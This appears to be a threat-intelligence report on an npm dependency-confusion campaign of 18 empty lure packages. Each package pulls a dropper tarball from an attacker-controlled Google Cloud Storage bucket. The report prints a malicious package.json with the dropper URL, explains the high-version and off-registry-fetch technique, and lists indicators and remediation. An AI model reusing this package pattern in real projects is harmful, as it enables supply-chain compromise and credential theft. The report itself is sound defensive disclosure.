ryan-pdf-js@99.9.1 has two files. index.js is four characters: {}. package.json
declares one dependency. That dependency is not an npm package. It is a direct HTTPS URL
pointing to a tarball on a private Google Cloud Storage bucket the attacker controls:
https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.1.1.tgz. When npm resolves
dependencies, it fetches and unpacks that tarball without any registry scan. Whatever
lifecycle scripts it contains execute immediately.
We traced the whltd3 publisher account and found ryan-pdf-js is not an isolated package.
It is the eighteenth and most recent entry in a cluster of hollow stub packages published by
the same account since June 2, 2026, each routing installs through a different dropper
tarball on the same GCS bucket.
The Technique: Off-Registry Tarball as Dependency
npm accepts direct HTTPS URLs as dependency values in package.json. This is a documented
feature, intended for private packages hosted outside the registry. When npm resolves an
HTTPS tarball dependency, it fetches the URL, unpacks the tarball, and runs any declared
lifecycle scripts exactly as it would for a registry package. The critical difference is
that registry packages are indexed, scanned, and cached. An HTTPS tarball URL is none of
those things. It is a blind fetch.
The ryan-pdf-js package uses this to route the actual payload entirely off the npm
registry. The lure package itself contains nothing malicious. Every scanner that checks
the npm package finds an empty stub. The dropper arrives as a dependency, from a GCS
bucket named ltidi, under a path named depenconf.
depenconf is consistent with dependency confusion staging. The bucket name ltidi is the
operator’s internal codename, embedded in the bucket URL, the dependency name (ltidisafe),
and a lure package name (ltidiconf). The codename appears across all three artifact types
simultaneously. That is not careful tradecraft.
Package Anatomy
Every package in the cluster follows an identical template. We pulled the ryan-pdf-js
tarball and confirmed both evidence file hashes against the OSV advisory:
'use strict';
module.exports = {};{
"name": "ryan-pdf-js",
"version": "99.9.1",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"dependencies": {
"ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.1.1.tgz"
},
"author": "",
"license": "ISC"
}No author. No description. No homepage. No repository. No keywords. The package would fail
every basic metadata check a security-aware developer runs before adding a dependency. The
version number 99.9.1 is deliberate: it beats any internal package pinned to a realistic
semver range, which is the version selection mechanism dependency confusion attacks rely on.
The index.js SHA256 322ee46d71101bed25f260f2e78a419b5472e28d1ba02831ced05c73b44e5bb8
is identical across every package in the cluster we checked. Every lure exports the same
empty object.
The 18-Package Cluster
When we pulled the full publishing history for the whltd3 account, we found 16 additional
packages beyond ryan-pdf-js, all following the same pattern. The account began publishing
on June 2, 2026, and released packages in bursts of two to four per day before slowing to
one every several days as the campaign continued.
Every package except firefly-utilities-helper@99.9.0 (the first version of that package,
published June 4) pulls a unique ltidisafe dropper tarball. The 99.9.0 version of
firefly-utilities-helper has no dependencies at all. The 99.9.1 version, published six
days later on June 10, added the ltidisafe GCS dependency. That first version was the
seed: a clean publish to claim the package name before the dropper was ready.
| Published (UTC) | Package | Version | Dropper Tarball |
|---|---|---|---|
| 2026-06-02 06:56 | @att-ebiz/abs-components-bc | 99.9.1 | ltidisafe-2.8.8.tgz |
| 2026-06-02 07:26 | privacy-sdk | 99.9.1 | ltidisafe-2.8.9.tgz |
| 2026-06-02 10:45 | po-ops-local-dev | 99.9.1 | ltidisafe-2.9.2.tgz |
| 2026-06-02 11:15 | page-info-service | 99.9.1 | ltidisafe-2.9.3.tgz |
| 2026-06-03 00:46 | commons-ui-styles | 99.9.1 | ltidisafe-2.9.6.tgz |
| 2026-06-03 15:17 | corporate-front-vue | 99.9.1 | ltidisafe-2.9.7.tgz |
| 2026-06-04 15:31 | housecall-ui | 99.9.1 | ltidisafe-2.9.8.tgz |
| 2026-06-04 16:25 | firefly-utilities-helper | 99.9.0 | None (name registration only) |
| 2026-06-04 17:32 | localization-lib | 99.9.1 | ltidisafe-3.0.1.tgz |
| 2026-06-04 17:42 | mazemap | 99.9.1 | ltidisafe-3.0.2.tgz |
| 2026-06-06 05:16 | motiondnb | 99.9.1 | ltidisafe-3.0.3.tgz |
| 2026-06-06 05:17 | housecall-ui | 99.9.2 | ltidisafe-3.0.4.tgz |
| 2026-06-06 05:42 | ng-search-api | 99.9.1 | ltidisafe-3.0.5.tgz |
| 2026-06-10 17:15 | firefly-utilities-helper | 99.9.1 | ltidisafe-3.0.6.tgz |
| 2026-06-11 17:41 | @genie-auth/config | 99.9.1 | ltidisafe-3.0.7.tgz |
| 2026-06-14 09:39 | ltidiconf | 99.9.1 | ltidisafe-3.0.8.tgz |
| 2026-06-18 01:34 | oem-agentic-shared | 99.9.1 | ltidisafe-3.0.9.tgz |
| 2026-06-27 11:05 | ryan-pdf-js | 99.9.1 | ltidisafe-3.1.1.tgz |
The dropper version numbers increment monotonically (2.8.8 through 3.1.1), with each new lure package receiving a fresh dropper tarball. Seventeen distinct dropper tarballs on the GCS bucket, one per live lure package. The version gaps (2.9.0, 2.9.1, 2.9.4, 2.9.5, 3.1.0) suggest intermediate versions were tested or staged and not published. The operator is running a deployment pipeline.
Dependency Confusion Targeting
The lure package names are not random. The operator registered names that match the shape
of real internal packages at specific organizations. This is the dependency confusion attack
surface: a developer at the targeted organization has a private @att-ebiz/abs-components-bc
in their internal registry. If their .npmrc or CI pipeline has a fallback to the public
registry, npm fetches the 99.9.1 version from the public registry instead, because 99.9
beats any realistic internal version.
The scoped packages are the strongest signal. @att-ebiz maps to AT&T eBiz internal
infrastructure. @genie-auth targets an authentication configuration scope. We checked
both scopes on the public registry: no legitimate packages exist under @att-ebiz on npm,
and @genie-auth has no associated packages matching this pattern. The attacker registered
these scopes to own the namespace on the public registry before any legitimate package
could claim it.
mazemap is the most verifiable target. MazeMap is a real company with a legitimate
JavaScript SDK. We checked the npm registry: whltd3 is the only publisher of mazemap
on npm. The real MazeMap SDK is distributed under the @mazemap scope, not the unscoped
name. The attacker registered the unscoped name to intercept installs from projects that
reference mazemap without the scope prefix.
ryan-pdf-js targets developers in the pdf.js ecosystem. The 99.9.1 version number and
the evocative name combine to make it a plausible transitive dependency in any project
using Mozilla’s pdf.js tooling.
The GCS Dropper: What We Know and What We Do Not
The dropper tarballs at ltidi.storage.googleapis.com/depenconf/ are not accessible
publicly. We attempted to retrieve ltidisafe-3.1.1.tgz and received a 403 response
from the bucket. The bucket is private, serving only to npm clients that resolve the
dependency from package.json during an actual npm install run, or to whoever holds
the GCS service account credentials.
From the OSV advisory for oem-agentic-shared (MAL-2026-6095),
which we confirmed shares the identical index.js hash with ryan-pdf-js, Amazon Inspector
assessed the dropper architecture as: “any lifecycle scripts it contains execute on npm
install.” The payload capability is unknown from static analysis of the lure package alone.
What the bucket path tells us: depenconf/ is consistent with dependency confusion staging
infrastructure. An operator running this campaign at scale needs a way to serve unique
dropper tarballs per target organization, with version numbers that can be updated without
changing the lure package. The GCS bucket with monotonically versioned tarballs is that
serving layer.
The bucket is private. Network inspection of the install will see an outbound HTTPS GET
to ltidi.storage.googleapis.com. The response content is served over TLS and is not
inspectable without the session keys.
OPSEC Failures
The ltidi codename is embedded in the bucket hostname, the dropper dependency name, and
a lure package name simultaneously.
ltidi.storage.googleapis.com names the bucket after the campaign. ltidisafe names the
dependency after the campaign. ltidiconf is a lure package whose name contains the campaign
codename. An operator running 18 packages over 25 days and using their internal project name
as a public GCS bucket hostname has made the entire campaign trivially attributable to a
single infrastructure decision.
firefly-utilities-helper@99.9.0 is the same mistake the clsx-js case illustrated in the
db-* cluster. Publishing a clean version to claim a name, then adding the dropper in a
subsequent version, leaves a documented staging event in the registry timeline. The June 4
seed publish and the June 10 dropper publish are both live and visible.
The email domain comcesync.com has no prior reporting in VirusTotal, Shodan, or the ossf
malicious-packages corpus we searched. The username whltd3 does not appear in any prior
malicious package report. We found no prior threat intelligence linking this operator to a
named campaign or actor.
IOC Table
| Indicator | Type | Value | Method |
|---|---|---|---|
ryan-pdf-js | npm package | 99.9.1 | Identified in OSV MAL-2026-6546 |
oem-agentic-shared | npm package | 99.9.1 | Identified in MAL-2026-6095; same index.js SHA256 confirmed |
index.js | Lure file (all packages) | SHA256: 322ee46d71101bed25f260f2e78a419b5472e28d1ba02831ced05c73b44e5bb8 | Hash confirmed against extracted tarball; identical across all cluster packages |
ryan-pdf-js-99.9.1.tgz | Lure tarball | SHA1: 08d81cc0838beba89f4eb2285e9ac932dc6ed88b | Verified against registry metadata and OSV package_integrity |
ltidi.storage.googleapis.com | GCS bucket (attacker-controlled) | Bucket for all 17 dropper tarballs | Decoded from dependencies.ltidisafe in all lure package.json files |
ltidisafe | Off-registry dependency name | Version range: 2.8.8 to 3.1.1 | Extracted from package.json across all 18 lure packages |
depenconf/ | GCS bucket path prefix | https://ltidi.storage.googleapis.com/depenconf/ltidisafe-X.Y.Z.tgz | Pulled from dependencies field across all registry metadata entries |
whltd3 | npm publisher account | Email: whltd3@comcesync.com | Pulled from registry metadata during triage |
comcesync.com | Publisher email domain | No prior threat intelligence | Searched via VirusTotal, Shodan, and ossf malicious-packages corpus |
Affected Versions
All packages below are published by whltd3 / whltd3@comcesync.com. All carry the same
empty index.js and route installs through ltidisafe on the GCS bucket. Two packages
have confirmed OSV entries. The remaining 16 were identified during our expanded account
pivot and share identical structural indicators.
| Package | Version | Published (UTC) | Lure SHA1 | Status | OSV |
|---|---|---|---|---|---|
@att-ebiz/abs-components-bc | 99.9.1 | 2026-06-02 06:56 | (see registry) | Live | Not yet in OSV |
privacy-sdk | 99.9.1 | 2026-06-02 07:26 | (see registry) | Live | Not yet in OSV |
po-ops-local-dev | 99.9.1 | 2026-06-02 10:45 | (see registry) | Live | Not yet in OSV |
page-info-service | 99.9.1 | 2026-06-02 11:15 | (see registry) | Live | Not yet in OSV |
commons-ui-styles | 99.9.1 | 2026-06-03 00:46 | (see registry) | Live | Not yet in OSV |
corporate-front-vue | 99.9.1 | 2026-06-03 15:17 | (see registry) | Live | Not yet in OSV |
housecall-ui | 99.9.1, 99.9.2 | 2026-06-04, 2026-06-06 | (see registry) | Live | Not yet in OSV |
firefly-utilities-helper | 99.9.0, 99.9.1 | 2026-06-04, 2026-06-10 | (see registry) | Live | Not yet in OSV |
localization-lib | 99.9.1 | 2026-06-04 17:32 | (see registry) | Live | Not yet in OSV |
mazemap | 99.9.1 | 2026-06-04 17:42 | (see registry) | Live | Not yet in OSV |
motiondnb | 99.9.1 | 2026-06-06 05:16 | (see registry) | Live | Not yet in OSV |
ng-search-api | 99.9.1 | 2026-06-06 05:42 | (see registry) | Live | Not yet in OSV |
ltidiconf | 99.9.1 | 2026-06-14 09:39 | (see registry) | Live | Not yet in OSV |
@genie-auth/config | 99.9.1 | 2026-06-11 17:41 | (see registry) | Live | Not yet in OSV |
oem-agentic-shared | 99.9.1 | 2026-06-18 01:34 | 8406d06c4ac1bd857eee94e0c4f3874e2427848e | Live | MAL-2026-6095 |
ryan-pdf-js | 99.9.1 | 2026-06-27 11:05 | 08d81cc0838beba89f4eb2285e9ac932dc6ed88b | Live | MAL-2026-6546 |
Remediation
-
Search
package-lock.json,yarn.lock, andpnpm-lock.yamlfor all 18 package names listed in the affected versions table. Any match meansnpm installfetched a dropper tarball fromltidi.storage.googleapis.com. The lure package name in the lockfile is the symptom; the actual payload arrived asltidisafein thenode_modulestree. -
Also search lockfiles for
ltidisafedirectly. If the lure package executed successfully,ltidisafewill appear as an installed dependency in the resolved tree. -
Check egress logs for outbound HTTPS connections to
ltidi.storage.googleapis.com. The fetch happens duringnpm installdependency resolution, before any application code runs. Any connection to that host confirms a dropper tarball was downloaded. The timestamp of the first connection bounds the exposure window. -
If
node_modules/ltidisafeis present on any machine, preserve it for forensic analysis before removing it. It is the only recoverable copy of the dropper payload. Hash every file in it and compare against any threat intelligence available at the time of incident response. -
Rotate all credentials accessible from the affected machine at the time of the install: npm tokens, GitHub tokens, cloud provider credentials, SSH keys, and any environment variables present in the shell at install time.
-
If the affected install occurred in a CI/CD pipeline, treat all secrets injected into that pipeline job as exposed. Audit GitHub Actions secrets, OIDC tokens, and any environment variables scoped to that workflow.
-
Block outbound connections to
ltidi.storage.googleapis.comat the perimeter. All 18 lure packages remain live on the registry. Any developer who installs one of them today will trigger a fresh dropper fetch from the same bucket.
All 18 packages and 17 distinct dropper tarballs remain live as of the time of this writing. The operator controls the payload server-side. Removing the lure packages from npm does not invalidate the GCS tarballs already fetched and unpacked on affected machines.
